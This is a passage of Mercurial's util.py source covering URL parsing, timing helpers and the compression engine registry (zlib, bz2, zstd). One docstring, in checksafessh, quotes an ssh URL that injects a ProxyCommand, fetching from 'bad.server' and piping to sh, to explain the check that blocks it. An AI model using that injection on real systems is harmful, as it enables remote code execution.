2769 2769 # TODO: similar to the query string, we should not unescape the
2770 2770 # path when we store it, the path might contain '%2f' = '/',
2771 2771 # which we should *not* escape.
2772 2772 s += urlreq.quote(self.path, safe=self._safepchars)
2773 2773 if self.query:
2774 2774 # we store the query in escaped form.
2775 2775 s += '?' + self.query
2776 2776 if self.fragment is not None:
2777 2777 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2778 2778 return s
2779 2779
2780 2780 __str__ = encoding.strmethod(__bytes__)
2781 2781
2782 2782 def authinfo(self):
2783 2783 user, passwd = self.user, self.passwd
2784 2784 try:
2785 2785 self.user, self.passwd = None, None
2786 2786 s = bytes(self)
2787 2787 finally:
2788 2788 self.user, self.passwd = user, passwd
2789 2789 if not self.user:
2790 2790 return (s, None)
2791 2791 # authinfo[1] is passed to urllib2 password manager, and its
2792 2792 # URIs must not contain credentials. The host is passed in the
2793 2793 # URIs list because Python < 2.4.3 uses only that to search for
2794 2794 # a password.
2795 2795 return (s, (None, (s, self.host),
2796 2796 self.user, self.passwd or ''))
2797 2797
2798 2798 def isabs(self):
2799 2799 if self.scheme and self.scheme != 'file':
2800 2800 return True # remote URL
2801 2801 if hasdriveletter(self.path):
2802 2802 return True # absolute for our purposes - can't be joined()
2803 2803 if self.path.startswith(br'\\'):
2804 2804 return True # Windows UNC path
2805 2805 if self.path.startswith('/'):
2806 2806 return True # POSIX-style
2807 2807 return False
2808 2808
2809 2809 def localpath(self):
2810 2810 if self.scheme == 'file' or self.scheme == 'bundle':
2811 2811 path = self.path or '/'
2812 2812 # For Windows, we need to promote hosts containing drive
2813 2813 # letters to paths with drive letters.
2814 2814 if hasdriveletter(self._hostport):
2815 2815 path = self._hostport + '/' + self.path
2816 2816 elif (self.host is not None and self.path
2817 2817 and not hasdriveletter(path)):
2818 2818 path = '/' + path
2819 2819 return path
2820 2820 return self._origpath
2821 2821
2822 2822 def islocal(self):
2823 2823 '''whether localpath will return something that posixfile can open'''
2824 2824 return (not self.scheme or self.scheme == 'file'
2825 2825 or self.scheme == 'bundle')
2826 2826
2827 2827 def hasscheme(path):
2828 2828 return bool(url(path).scheme)
2829 2829
2830 2830 def hasdriveletter(path):
2831 2831 return path and path[1:2] == ':' and path[0:1].isalpha()
2832 2832
2833 2833 def urllocalpath(path):
2834 2834 return url(path, parsequery=False, parsefragment=False).localpath()
2835 2835
2836 2836 def checksafessh(path):
2837 2837 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2838 2838
2839 2839 This is a sanity check for ssh urls. ssh will parse the first item as
2840 2840 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2841 2841 Let's prevent these potentially exploited urls entirely and warn the
2842 2842 user.
2843 2843
2844 2844 Raises an error.Abort when the url is unsafe.
2845 2845 """
2846 2846 path = urlreq.unquote(path)
2847 2847 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2848 2848 raise error.Abort(_('potentially unsafe url: %r') %
2849 2849 (pycompat.bytestr(path),))
2850 2850
2851 2851 def hidepassword(u):
2852 2852 '''hide user credential in a url string'''
2853 2853 u = url(u)
2854 2854 if u.passwd:
2855 2855 u.passwd = '***'
2856 2856 return bytes(u)
2857 2857
2858 2858 def removeauth(u):
2859 2859 '''remove all authentication information from a url string'''
2860 2860 u = url(u)
2861 2861 u.user = u.passwd = None
2862 2862 return bytes(u)
2863 2863
2864 2864 timecount = unitcountfn(
2865 2865 (1, 1e3, _('%.0f s')),
2866 2866 (100, 1, _('%.1f s')),
2867 2867 (10, 1, _('%.2f s')),
2868 2868 (1, 1, _('%.3f s')),
2869 2869 (100, 0.001, _('%.1f ms')),
2870 2870 (10, 0.001, _('%.2f ms')),
2871 2871 (1, 0.001, _('%.3f ms')),
2872 2872 (100, 0.000001, _('%.1f us')),
2873 2873 (10, 0.000001, _('%.2f us')),
2874 2874 (1, 0.000001, _('%.3f us')),
2875 2875 (100, 0.000000001, _('%.1f ns')),
2876 2876 (10, 0.000000001, _('%.2f ns')),
2877 2877 (1, 0.000000001, _('%.3f ns')),
2878 2878 )
2879 2879
2880 2880 @attr.s
2881 2881 class timedcmstats(object):
2882 2882 """Stats information produced by the timedcm context manager on entering."""
2883 2883
2884 2884 # the starting value of the timer as a float (meaning and resulution is
2885 2885 # platform dependent, see util.timer)
2886 2886 start = attr.ib(default=attr.Factory(lambda: timer()))
2887 2887 # the number of seconds as a floating point value; starts at 0, updated when
2888 2888 # the context is exited.
2889 2889 elapsed = attr.ib(default=0)
2890 2890 # the number of nested timedcm context managers.
2891 2891 level = attr.ib(default=1)
2892 2892
2893 2893 def __bytes__(self):
2894 2894 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2895 2895
2896 2896 __str__ = encoding.strmethod(__bytes__)
2897 2897
2898 2898 @contextlib.contextmanager
2899 2899 def timedcm():
2900 2900 """A context manager that produces timing information for a given context.
2901 2901
2902 2902 On entering a timedcmstats instance is produced.
2903 2903
2904 2904 This context manager is reentrant.
2905 2905
2906 2906 """
2907 2907 # track nested context managers
2908 2908 timedcm._nested += 1
2909 2909 timing_stats = timedcmstats(level=timedcm._nested)
2910 2910 try:
2911 2911 yield timing_stats
2912 2912 finally:
2913 2913 timing_stats.elapsed = timer() - timing_stats.start
2914 2914 timedcm._nested -= 1
2915 2915
2916 2916 timedcm._nested = 0
2917 2917
2918 2918 def timed(func):
2919 2919 '''Report the execution time of a function call to stderr.
2920 2920
2921 2921 During development, use as a decorator when you need to measure
2922 2922 the cost of a function, e.g. as follows:
2923 2923
2924 2924 @util.timed
2925 2925 def foo(a, b, c):
2926 2926 pass
2927 2927 '''
2928 2928
2929 2929 def wrapper(*args, **kwargs):
2930 2930 with timedcm() as time_stats:
2931 2931 result = func(*args, **kwargs)
2932 2932 stderr = procutil.stderr
2933 2933 stderr.write('%s%s: %s\n' % (
2934 2934 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2935 2935 time_stats))
2936 2936 return result
2937 2937 return wrapper
2938 2938
2939 2939 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2940 2940 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2941 2941
2942 2942 def sizetoint(s):
2943 2943 '''Convert a space specifier to a byte count.
2944 2944
2945 2945 >>> sizetoint(b'30')
2946 2946 30
2947 2947 >>> sizetoint(b'2.2kb')
2948 2948 2252
2949 2949 >>> sizetoint(b'6M')
2950 2950 6291456
2951 2951 '''
2952 2952 t = s.strip().lower()
2953 2953 try:
2954 2954 for k, u in _sizeunits:
2955 2955 if t.endswith(k):
2956 2956 return int(float(t[:-len(k)]) * u)
2957 2957 return int(t)
2958 2958 except ValueError:
2959 2959 raise error.ParseError(_("couldn't parse size: %s") % s)
2960 2960
2961 2961 class hooks(object):
2962 2962 '''A collection of hook functions that can be used to extend a
2963 2963 function's behavior. Hooks are called in lexicographic order,
2964 2964 based on the names of their sources.'''
2965 2965
2966 2966 def __init__(self):
2967 2967 self._hooks = []
2968 2968
2969 2969 def add(self, source, hook):
2970 2970 self._hooks.append((source, hook))
2971 2971
2972 2972 def __call__(self, *args):
2973 2973 self._hooks.sort(key=lambda x: x[0])
2974 2974 results = []
2975 2975 for source, hook in self._hooks:
2976 2976 results.append(hook(*args))
2977 2977 return results
2978 2978
2979 2979 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2980 2980 '''Yields lines for a nicely formatted stacktrace.
2981 2981 Skips the 'skip' last entries, then return the last 'depth' entries.
2982 2982 Each file+linenumber is formatted according to fileline.
2983 2983 Each line is formatted according to line.
2984 2984 If line is None, it yields:
2985 2985 length of longest filepath+line number,
2986 2986 filepath+linenumber,
2987 2987 function
2988 2988
2989 2989 Not be used in production code but very convenient while developing.
2990 2990 '''
2991 2991 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2992 2992 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2993 2993 ][-depth:]
2994 2994 if entries:
2995 2995 fnmax = max(len(entry[0]) for entry in entries)
2996 2996 for fnln, func in entries:
2997 2997 if line is None:
2998 2998 yield (fnmax, fnln, func)
2999 2999 else:
3000 3000 yield line % (fnmax, fnln, func)
3001 3001
3002 3002 def debugstacktrace(msg='stacktrace', skip=0,
3003 3003 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3004 3004 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3005 3005 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3006 3006 By default it will flush stdout first.
3007 3007 It can be used everywhere and intentionally does not require an ui object.
3008 3008 Not be used in production code but very convenient while developing.
3009 3009 '''
3010 3010 if otherf:
3011 3011 otherf.flush()
3012 3012 f.write('%s at:\n' % msg.rstrip())
3013 3013 for line in getstackframes(skip + 1, depth=depth):
3014 3014 f.write(line)
3015 3015 f.flush()
3016 3016
3017 3017 class dirs(object):
3018 3018 '''a multiset of directory names from a dirstate or manifest'''
3019 3019
3020 3020 def __init__(self, map, skip=None):
3021 3021 self._dirs = {}
3022 3022 addpath = self.addpath
3023 3023 if safehasattr(map, 'iteritems') and skip is not None:
3024 3024 for f, s in map.iteritems():
3025 3025 if s[0] != skip:
3026 3026 addpath(f)
3027 3027 else:
3028 3028 for f in map:
3029 3029 addpath(f)
3030 3030
3031 3031 def addpath(self, path):
3032 3032 dirs = self._dirs
3033 3033 for base in finddirs(path):
3034 3034 if base in dirs:
3035 3035 dirs[base] += 1
3036 3036 return
3037 3037 dirs[base] = 1
3038 3038
3039 3039 def delpath(self, path):
3040 3040 dirs = self._dirs
3041 3041 for base in finddirs(path):
3042 3042 if dirs[base] > 1:
3043 3043 dirs[base] -= 1
3044 3044 return
3045 3045 del dirs[base]
3046 3046
3047 3047 def __iter__(self):
3048 3048 return iter(self._dirs)
3049 3049
3050 3050 def __contains__(self, d):
3051 3051 return d in self._dirs
3052 3052
3053 3053 if safehasattr(parsers, 'dirs'):
3054 3054 dirs = parsers.dirs
3055 3055
3056 3056 def finddirs(path):
3057 3057 pos = path.rfind('/')
3058 3058 while pos != -1:
3059 3059 yield path[:pos]
3060 3060 pos = path.rfind('/', 0, pos)
3061 3061
3062 3062 # compression code
3063 3063
3064 3064 SERVERROLE = 'server'
3065 3065 CLIENTROLE = 'client'
3066 3066
3067 3067 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3068 3068 (u'name', u'serverpriority',
3069 3069 u'clientpriority'))
3070 3070
3071 3071 class compressormanager(object):
3072 3072 """Holds registrations of various compression engines.
3073 3073
3074 3074 This class essentially abstracts the differences between compression
3075 3075 engines to allow new compression formats to be added easily, possibly from
3076 3076 extensions.
3077 3077
3078 3078 Compressors are registered against the global instance by calling its
3079 3079 ``register()`` method.
3080 3080 """
3081 3081 def __init__(self):
3082 3082 self._engines = {}
3083 3083 # Bundle spec human name to engine name.
3084 3084 self._bundlenames = {}
3085 3085 # Internal bundle identifier to engine name.
3086 3086 self._bundletypes = {}
3087 3087 # Revlog header to engine name.
3088 3088 self._revlogheaders = {}
3089 3089 # Wire proto identifier to engine name.
3090 3090 self._wiretypes = {}
3091 3091
3092 3092 def __getitem__(self, key):
3093 3093 return self._engines[key]
3094 3094
3095 3095 def __contains__(self, key):
3096 3096 return key in self._engines
3097 3097
3098 3098 def __iter__(self):
3099 3099 return iter(self._engines.keys())
3100 3100
3101 3101 def register(self, engine):
3102 3102 """Register a compression engine with the manager.
3103 3103
3104 3104 The argument must be a ``compressionengine`` instance.
3105 3105 """
3106 3106 if not isinstance(engine, compressionengine):
3107 3107 raise ValueError(_('argument must be a compressionengine'))
3108 3108
3109 3109 name = engine.name()
3110 3110
3111 3111 if name in self._engines:
3112 3112 raise error.Abort(_('compression engine %s already registered') %
3113 3113 name)
3114 3114
3115 3115 bundleinfo = engine.bundletype()
3116 3116 if bundleinfo:
3117 3117 bundlename, bundletype = bundleinfo
3118 3118
3119 3119 if bundlename in self._bundlenames:
3120 3120 raise error.Abort(_('bundle name %s already registered') %
3121 3121 bundlename)
3122 3122 if bundletype in self._bundletypes:
3123 3123 raise error.Abort(_('bundle type %s already registered by %s') %
3124 3124 (bundletype, self._bundletypes[bundletype]))
3125 3125
3126 3126 # No external facing name declared.
3127 3127 if bundlename:
3128 3128 self._bundlenames[bundlename] = name
3129 3129
3130 3130 self._bundletypes[bundletype] = name
3131 3131
3132 3132 wiresupport = engine.wireprotosupport()
3133 3133 if wiresupport:
3134 3134 wiretype = wiresupport.name
3135 3135 if wiretype in self._wiretypes:
3136 3136 raise error.Abort(_('wire protocol compression %s already '
3137 3137 'registered by %s') %
3138 3138 (wiretype, self._wiretypes[wiretype]))
3139 3139
3140 3140 self._wiretypes[wiretype] = name
3141 3141
3142 3142 revlogheader = engine.revlogheader()
3143 3143 if revlogheader and revlogheader in self._revlogheaders:
3144 3144 raise error.Abort(_('revlog header %s already registered by %s') %
3145 3145 (revlogheader, self._revlogheaders[revlogheader]))
3146 3146
3147 3147 if revlogheader:
3148 3148 self._revlogheaders[revlogheader] = name
3149 3149
3150 3150 self._engines[name] = engine
3151 3151
3152 3152 @property
3153 3153 def supportedbundlenames(self):
3154 3154 return set(self._bundlenames.keys())
3155 3155
3156 3156 @property
3157 3157 def supportedbundletypes(self):
3158 3158 return set(self._bundletypes.keys())
3159 3159
3160 3160 def forbundlename(self, bundlename):
3161 3161 """Obtain a compression engine registered to a bundle name.
3162 3162
3163 3163 Will raise KeyError if the bundle type isn't registered.
3164 3164
3165 3165 Will abort if the engine is known but not available.
3166 3166 """
3167 3167 engine = self._engines[self._bundlenames[bundlename]]
3168 3168 if not engine.available():
3169 3169 raise error.Abort(_('compression engine %s could not be loaded') %
3170 3170 engine.name())
3171 3171 return engine
3172 3172
3173 3173 def forbundletype(self, bundletype):
3174 3174 """Obtain a compression engine registered to a bundle type.
3175 3175
3176 3176 Will raise KeyError if the bundle type isn't registered.
3177 3177
3178 3178 Will abort if the engine is known but not available.
3179 3179 """
3180 3180 engine = self._engines[self._bundletypes[bundletype]]
3181 3181 if not engine.available():
3182 3182 raise error.Abort(_('compression engine %s could not be loaded') %
3183 3183 engine.name())
3184 3184 return engine
3185 3185
3186 3186 def supportedwireengines(self, role, onlyavailable=True):
3187 3187 """Obtain compression engines that support the wire protocol.
3188 3188
3189 3189 Returns a list of engines in prioritized order, most desired first.
3190 3190
3191 3191 If ``onlyavailable`` is set, filter out engines that can't be
3192 3192 loaded.
3193 3193 """
3194 3194 assert role in (SERVERROLE, CLIENTROLE)
3195 3195
3196 3196 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3197 3197
3198 3198 engines = [self._engines[e] for e in self._wiretypes.values()]
3199 3199 if onlyavailable:
3200 3200 engines = [e for e in engines if e.available()]
3201 3201
3202 3202 def getkey(e):
3203 3203 # Sort first by priority, highest first. In case of tie, sort
3204 3204 # alphabetically. This is arbitrary, but ensures output is
3205 3205 # stable.
3206 3206 w = e.wireprotosupport()
3207 3207 return -1 * getattr(w, attr), w.name
3208 3208
3209 3209 return list(sorted(engines, key=getkey))
3210 3210
3211 3211 def forwiretype(self, wiretype):
3212 3212 engine = self._engines[self._wiretypes[wiretype]]
3213 3213 if not engine.available():
3214 3214 raise error.Abort(_('compression engine %s could not be loaded') %
3215 3215 engine.name())
3216 3216 return engine
3217 3217
3218 3218 def forrevlogheader(self, header):
3219 3219 """Obtain a compression engine registered to a revlog header.
3220 3220
3221 3221 Will raise KeyError if the revlog header value isn't registered.
3222 3222 """
3223 3223 return self._engines[self._revlogheaders[header]]
3224 3224
3225 3225 compengines = compressormanager()
3226 3226
3227 3227 class compressionengine(object):
3228 3228 """Base class for compression engines.
3229 3229
3230 3230 Compression engines must implement the interface defined by this class.
3231 3231 """
3232 3232 def name(self):
3233 3233 """Returns the name of the compression engine.
3234 3234
3235 3235 This is the key the engine is registered under.
3236 3236
3237 3237 This method must be implemented.
3238 3238 """
3239 3239 raise NotImplementedError()
3240 3240
3241 3241 def available(self):
3242 3242 """Whether the compression engine is available.
3243 3243
3244 3244 The intent of this method is to allow optional compression engines
3245 3245 that may not be available in all installations (such as engines relying
3246 3246 on C extensions that may not be present).
3247 3247 """
3248 3248 return True
3249 3249
3250 3250 def bundletype(self):
3251 3251 """Describes bundle identifiers for this engine.
3252 3252
3253 3253 If this compression engine isn't supported for bundles, returns None.
3254 3254
3255 3255 If this engine can be used for bundles, returns a 2-tuple of strings of
3256 3256 the user-facing "bundle spec" compression name and an internal
3257 3257 identifier used to denote the compression format within bundles. To
3258 3258 exclude the name from external usage, set the first element to ``None``.
3259 3259
3260 3260 If bundle compression is supported, the class must also implement
3261 3261 ``compressstream`` and `decompressorreader``.
3262 3262
3263 3263 The docstring of this method is used in the help system to tell users
3264 3264 about this engine.
3265 3265 """
3266 3266 return None
3267 3267
3268 3268 def wireprotosupport(self):
3269 3269 """Declare support for this compression format on the wire protocol.
3270 3270
3271 3271 If this compression engine isn't supported for compressing wire
3272 3272 protocol payloads, returns None.
3273 3273
3274 3274 Otherwise, returns ``compenginewireprotosupport`` with the following
3275 3275 fields:
3276 3276
3277 3277 * String format identifier
3278 3278 * Integer priority for the server
3279 3279 * Integer priority for the client
3280 3280
3281 3281 The integer priorities are used to order the advertisement of format
3282 3282 support by server and client. The highest integer is advertised
3283 3283 first. Integers with non-positive values aren't advertised.
3284 3284
3285 3285 The priority values are somewhat arbitrary and only used for default
3286 3286 ordering. The relative order can be changed via config options.
3287 3287
3288 3288 If wire protocol compression is supported, the class must also implement
3289 3289 ``compressstream`` and ``decompressorreader``.
3290 3290 """
3291 3291 return None
3292 3292
3293 3293 def revlogheader(self):
3294 3294 """Header added to revlog chunks that identifies this engine.
3295 3295
3296 3296 If this engine can be used to compress revlogs, this method should
3297 3297 return the bytes used to identify chunks compressed with this engine.
3298 3298 Else, the method should return ``None`` to indicate it does not
3299 3299 participate in revlog compression.
3300 3300 """
3301 3301 return None
3302 3302
3303 3303 def compressstream(self, it, opts=None):
3304 3304 """Compress an iterator of chunks.
3305 3305
3306 3306 The method receives an iterator (ideally a generator) of chunks of
3307 3307 bytes to be compressed. It returns an iterator (ideally a generator)
3308 3308 of bytes of chunks representing the compressed output.
3309 3309
3310 3310 Optionally accepts an argument defining how to perform compression.
3311 3311 Each engine treats this argument differently.
3312 3312 """
3313 3313 raise NotImplementedError()
3314 3314
3315 3315 def decompressorreader(self, fh):
3316 3316 """Perform decompression on a file object.
3317 3317
3318 3318 Argument is an object with a ``read(size)`` method that returns
3319 3319 compressed data. Return value is an object with a ``read(size)`` that
3320 3320 returns uncompressed data.
3321 3321 """
3322 3322 raise NotImplementedError()
3323 3323
3324 3324 def revlogcompressor(self, opts=None):
3325 3325 """Obtain an object that can be used to compress revlog entries.
3326 3326
3327 3327 The object has a ``compress(data)`` method that compresses binary
3328 3328 data. This method returns compressed binary data or ``None`` if
3329 3329 the data could not be compressed (too small, not compressible, etc).
3330 3330 The returned data should have a header uniquely identifying this
3331 3331 compression format so decompression can be routed to this engine.
3332 3332 This header should be identified by the ``revlogheader()`` return
3333 3333 value.
3334 3334
3335 3335 The object has a ``decompress(data)`` method that decompresses
3336 3336 data. The method will only be called if ``data`` begins with
3337 3337 ``revlogheader()``. The method should return the raw, uncompressed
3338 3338 data or raise a ``RevlogError``.
3339 3339
3340 3340 The object is reusable but is not thread safe.
3341 3341 """
3342 3342 raise NotImplementedError()
3343 3343
3344 3344 class _CompressedStreamReader(object):
3345 3345 def __init__(self, fh):
3346 3346 if safehasattr(fh, 'unbufferedread'):
3347 3347 self._reader = fh.unbufferedread
3348 3348 else:
3349 3349 self._reader = fh.read
3350 3350 self._pending = []
3351 3351 self._pos = 0
3352 3352 self._eof = False
3353 3353
3354 3354 def _decompress(self, chunk):
3355 3355 raise NotImplementedError()
3356 3356
3357 3357 def read(self, l):
3358 3358 buf = []
3359 3359 while True:
3360 3360 while self._pending:
3361 3361 if len(self._pending[0]) > l + self._pos:
3362 3362 newbuf = self._pending[0]
3363 3363 buf.append(newbuf[self._pos:self._pos + l])
3364 3364 self._pos += l
3365 3365 return ''.join(buf)
3366 3366
3367 3367 newbuf = self._pending.pop(0)
3368 3368 if self._pos:
3369 3369 buf.append(newbuf[self._pos:])
3370 3370 l -= len(newbuf) - self._pos
3371 3371 else:
3372 3372 buf.append(newbuf)
3373 3373 l -= len(newbuf)
3374 3374 self._pos = 0
3375 3375
3376 3376 if self._eof:
3377 3377 return ''.join(buf)
3378 3378 chunk = self._reader(65536)
3379 3379 self._decompress(chunk)
3380 3380
3381 3381 class _GzipCompressedStreamReader(_CompressedStreamReader):
3382 3382 def __init__(self, fh):
3383 3383 super(_GzipCompressedStreamReader, self).__init__(fh)
3384 3384 self._decompobj = zlib.decompressobj()
3385 3385 def _decompress(self, chunk):
3386 3386 newbuf = self._decompobj.decompress(chunk)
3387 3387 if newbuf:
3388 3388 self._pending.append(newbuf)
3389 3389 d = self._decompobj.copy()
3390 3390 try:
3391 3391 d.decompress('x')
3392 3392 d.flush()
3393 3393 if d.unused_data == 'x':
3394 3394 self._eof = True
3395 3395 except zlib.error:
3396 3396 pass
3397 3397
3398 3398 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3399 3399 def __init__(self, fh):
3400 3400 super(_BZ2CompressedStreamReader, self).__init__(fh)
3401 3401 self._decompobj = bz2.BZ2Decompressor()
3402 3402 def _decompress(self, chunk):
3403 3403 newbuf = self._decompobj.decompress(chunk)
3404 3404 if newbuf:
3405 3405 self._pending.append(newbuf)
3406 3406 try:
3407 3407 while True:
3408 3408 newbuf = self._decompobj.decompress('')
3409 3409 if newbuf:
3410 3410 self._pending.append(newbuf)
3411 3411 else:
3412 3412 break
3413 3413 except EOFError:
3414 3414 self._eof = True
3415 3415
3416 3416 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3417 3417 def __init__(self, fh):
3418 3418 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3419 3419 newbuf = self._decompobj.decompress('BZ')
3420 3420 if newbuf:
3421 3421 self._pending.append(newbuf)
3422 3422
3423 3423 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3424 3424 def __init__(self, fh, zstd):
3425 3425 super(_ZstdCompressedStreamReader, self).__init__(fh)
3426 3426 self._zstd = zstd
3427 3427 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3428 3428 def _decompress(self, chunk):
3429 3429 newbuf = self._decompobj.decompress(chunk)
3430 3430 if newbuf:
3431 3431 self._pending.append(newbuf)
3432 3432 try:
3433 3433 while True:
3434 3434 newbuf = self._decompobj.decompress('')
3435 3435 if newbuf:
3436 3436 self._pending.append(newbuf)
3437 3437 else:
3438 3438 break
3439 3439 except self._zstd.ZstdError:
3440 3440 self._eof = True
3441 3441
3442 3442 class _zlibengine(compressionengine):
3443 3443 def name(self):
3444 3444 return 'zlib'
3445 3445
3446 3446 def bundletype(self):
3447 3447 """zlib compression using the DEFLATE algorithm.
3448 3448
3449 3449 All Mercurial clients should support this format. The compression
3450 3450 algorithm strikes a reasonable balance between compression ratio
3451 3451 and size.
3452 3452 """
3453 3453 return 'gzip', 'GZ'
3454 3454
3455 3455 def wireprotosupport(self):
3456 3456 return compewireprotosupport('zlib', 20, 20)
3457 3457
3458 3458 def revlogheader(self):
3459 3459 return 'x'
3460 3460
3461 3461 def compressstream(self, it, opts=None):
3462 3462 opts = opts or {}
3463 3463
3464 3464 z = zlib.compressobj(opts.get('level', -1))
3465 3465 for chunk in it:
3466 3466 data = z.compress(chunk)
3467 3467 # Not all calls to compress emit data. It is cheaper to inspect
3468 3468 # here than to feed empty chunks through generator.
3469 3469 if data:
3470 3470 yield data
3471 3471
3472 3472 yield z.flush()
3473 3473
3474 3474 def decompressorreader(self, fh):
3475 3475 return _GzipCompressedStreamReader(fh)
3476 3476
3477 3477 class zlibrevlogcompressor(object):
3478 3478 def compress(self, data):
3479 3479 insize = len(data)
3480 3480 # Caller handles empty input case.
3481 3481 assert insize > 0
3482 3482
3483 3483 if insize < 44:
3484 3484 return None
3485 3485
3486 3486 elif insize <= 1000000:
3487 3487 compressed = zlib.compress(data)
3488 3488 if len(compressed) < insize:
3489 3489 return compressed
3490 3490 return None
3491 3491
3492 3492 # zlib makes an internal copy of the input buffer, doubling
3493 3493 # memory usage for large inputs. So do streaming compression
3494 3494 # on large inputs.
3495 3495 else:
3496 3496 z = zlib.compressobj()
3497 3497 parts = []
3498 3498 pos = 0
3499 3499 while pos < insize:
3500 3500 pos2 = pos + 2**20
3501 3501 parts.append(z.compress(data[pos:pos2]))
3502 3502 pos = pos2
3503 3503 parts.append(z.flush())
3504 3504
3505 3505 if sum(map(len, parts)) < insize:
3506 3506 return ''.join(parts)
3507 3507 return None
3508 3508
3509 3509 def decompress(self, data):
3510 3510 try:
3511 3511 return zlib.decompress(data)
3512 3512 except zlib.error as e:
3513 3513 raise error.RevlogError(_('revlog decompress error: %s') %
3514 3514 stringutil.forcebytestr(e))
3515 3515
3516 3516 def revlogcompressor(self, opts=None):
3517 3517 return self.zlibrevlogcompressor()
3518 3518
3519 3519 compengines.register(_zlibengine())
3520 3520
3521 3521 class _bz2engine(compressionengine):
3522 3522 def name(self):
3523 3523 return 'bz2'
3524 3524
3525 3525 def bundletype(self):
3526 3526 """An algorithm that produces smaller bundles than ``gzip``.
3527 3527
3528 3528 All Mercurial clients should support this format.
3529 3529
3530 3530 This engine will likely produce smaller bundles than ``gzip`` but
3531 3531 will be significantly slower, both during compression and
3532 3532 decompression.
3533 3533
3534 3534 If available, the ``zstd`` engine can yield similar or better
3535 3535 compression at much higher speeds.
3536 3536 """
3537 3537 return 'bzip2', 'BZ'
3538 3538
3539 3539 # We declare a protocol name but don't advertise by default because
3540 3540 # it is slow.
3541 3541 def wireprotosupport(self):
3542 3542 return compewireprotosupport('bzip2', 0, 0)
3543 3543
3544 3544 def compressstream(self, it, opts=None):
3545 3545 opts = opts or {}
3546 3546 z = bz2.BZ2Compressor(opts.get('level', 9))
3547 3547 for chunk in it:
3548 3548 data = z.compress(chunk)
3549 3549 if data:
3550 3550 yield data
3551 3551
3552 3552 yield z.flush()
3553 3553
3554 3554 def decompressorreader(self, fh):
3555 3555 return _BZ2CompressedStreamReader(fh)
3556 3556
3557 3557 compengines.register(_bz2engine())
3558 3558
3559 3559 class _truncatedbz2engine(compressionengine):
3560 3560 def name(self):
3561 3561 return 'bz2truncated'
3562 3562
3563 3563 def bundletype(self):
3564 3564 return None, '_truncatedBZ'
3565 3565
3566 3566 # We don't implement compressstream because it is hackily handled elsewhere.
3567 3567
3568 3568 def decompressorreader(self, fh):
3569 3569 return _TruncatedBZ2CompressedStreamReader(fh)
3570 3570
3571 3571 compengines.register(_truncatedbz2engine())
3572 3572
3573 3573 class _noopengine(compressionengine):
3574 3574 def name(self):
3575 3575 return 'none'
3576 3576
3577 3577 def bundletype(self):
3578 3578 """No compression is performed.
3579 3579
3580 3580 Use this compression engine to explicitly disable compression.
3581 3581 """
3582 3582 return 'none', 'UN'
3583 3583
3584 3584 # Clients always support uncompressed payloads. Servers don't because
3585 3585 # unless you are on a fast network, uncompressed payloads can easily
3586 3586 # saturate your network pipe.
3587 3587 def wireprotosupport(self):
3588 3588 return compewireprotosupport('none', 0, 10)
3589 3589
3590 3590 # We don't implement revlogheader because it is handled specially
3591 3591 # in the revlog class.
3592 3592
3593 3593 def compressstream(self, it, opts=None):
3594 3594 return it
3595 3595
3596 3596 def decompressorreader(self, fh):
3597 3597 return fh
3598 3598
3599 3599 class nooprevlogcompressor(object):
3600 3600 def compress(self, data):
3601 3601 return None
3602 3602
3603 3603 def revlogcompressor(self, opts=None):
3604 3604 return self.nooprevlogcompressor()
3605 3605
3606 3606 compengines.register(_noopengine())
3607 3607
3608 3608 class _zstdengine(compressionengine):
3609 3609 def name(self):
3610 3610 return 'zstd'
3611 3611
3612 3612 @propertycache
3613 3613 def _module(self):
3614 3614 # Not all installs have the zstd module available. So defer importing
3615 3615 # until first access.
3616 3616 try:
3617 3617 from . import zstd
3618 3618 # Force delayed import.
3619 3619 zstd.__version__
3620 3620 return zstd
3621 3621 except ImportError:
3622 3622 return None
3623 3623
3624 3624 def available(self):
3625 3625 return bool(self._module)
3626 3626
3627 3627 def bundletype(self):
3628 3628 """A modern compression algorithm that is fast and highly flexible.
3629 3629
3630 3630 Only supported by Mercurial 4.1 and newer clients.
3631 3631
3632 3632 With the default settings, zstd compression is both faster and yields
3633 3633 better compression than ``gzip``. It also frequently yields better
3634 3634 compression than ``bzip2`` while operating at much higher speeds.
3635 3635
3636 3636 If this engine is available and backwards compatibility is not a
3637 3637 concern, it is likely the best available engine.
3638 3638 """
3639 3639 return 'zstd', 'ZS'
3640 3640
3641 3641 def wireprotosupport(self):
3642 3642 return compewireprotosupport('zstd', 50, 50)
3643 3643
3644 3644 def revlogheader(self):
3645 3645 return '\x28'
3646 3646
3647 3647 def compressstream(self, it, opts=None):
3648 3648 opts = opts or {}
3649 3649 # zstd level 3 is almost always significantly faster than zlib
3650 3650 # while providing no worse compression. It strikes a good balance
3651 3651 # between speed and compression.
3652 3652 level = opts.get('level', 3)
3653 3653
3654 3654 zstd = self._module
3655 3655 z = zstd.ZstdCompressor(level=level).compressobj()
3656 3656 for chunk in it:
3657 3657 data = z.compress(chunk)
3658 3658 if data:
3659 3659 yield data
3660 3660
3661 3661 yield z.flush()
3662 3662
3663 3663 def decompressorreader(self, fh):
3664 3664 return _ZstdCompressedStreamReader(fh, self._module)
3665 3665
3666 3666 class zstdrevlogcompressor(object):
3667 3667 def __init__(self, zstd, level=3):
3668 3668 # TODO consider omitting frame magic to save 4 bytes.
3669 3669 # This writes content sizes into the frame header. That is
3670 3670 # extra storage. But it allows a correct size memory allocation
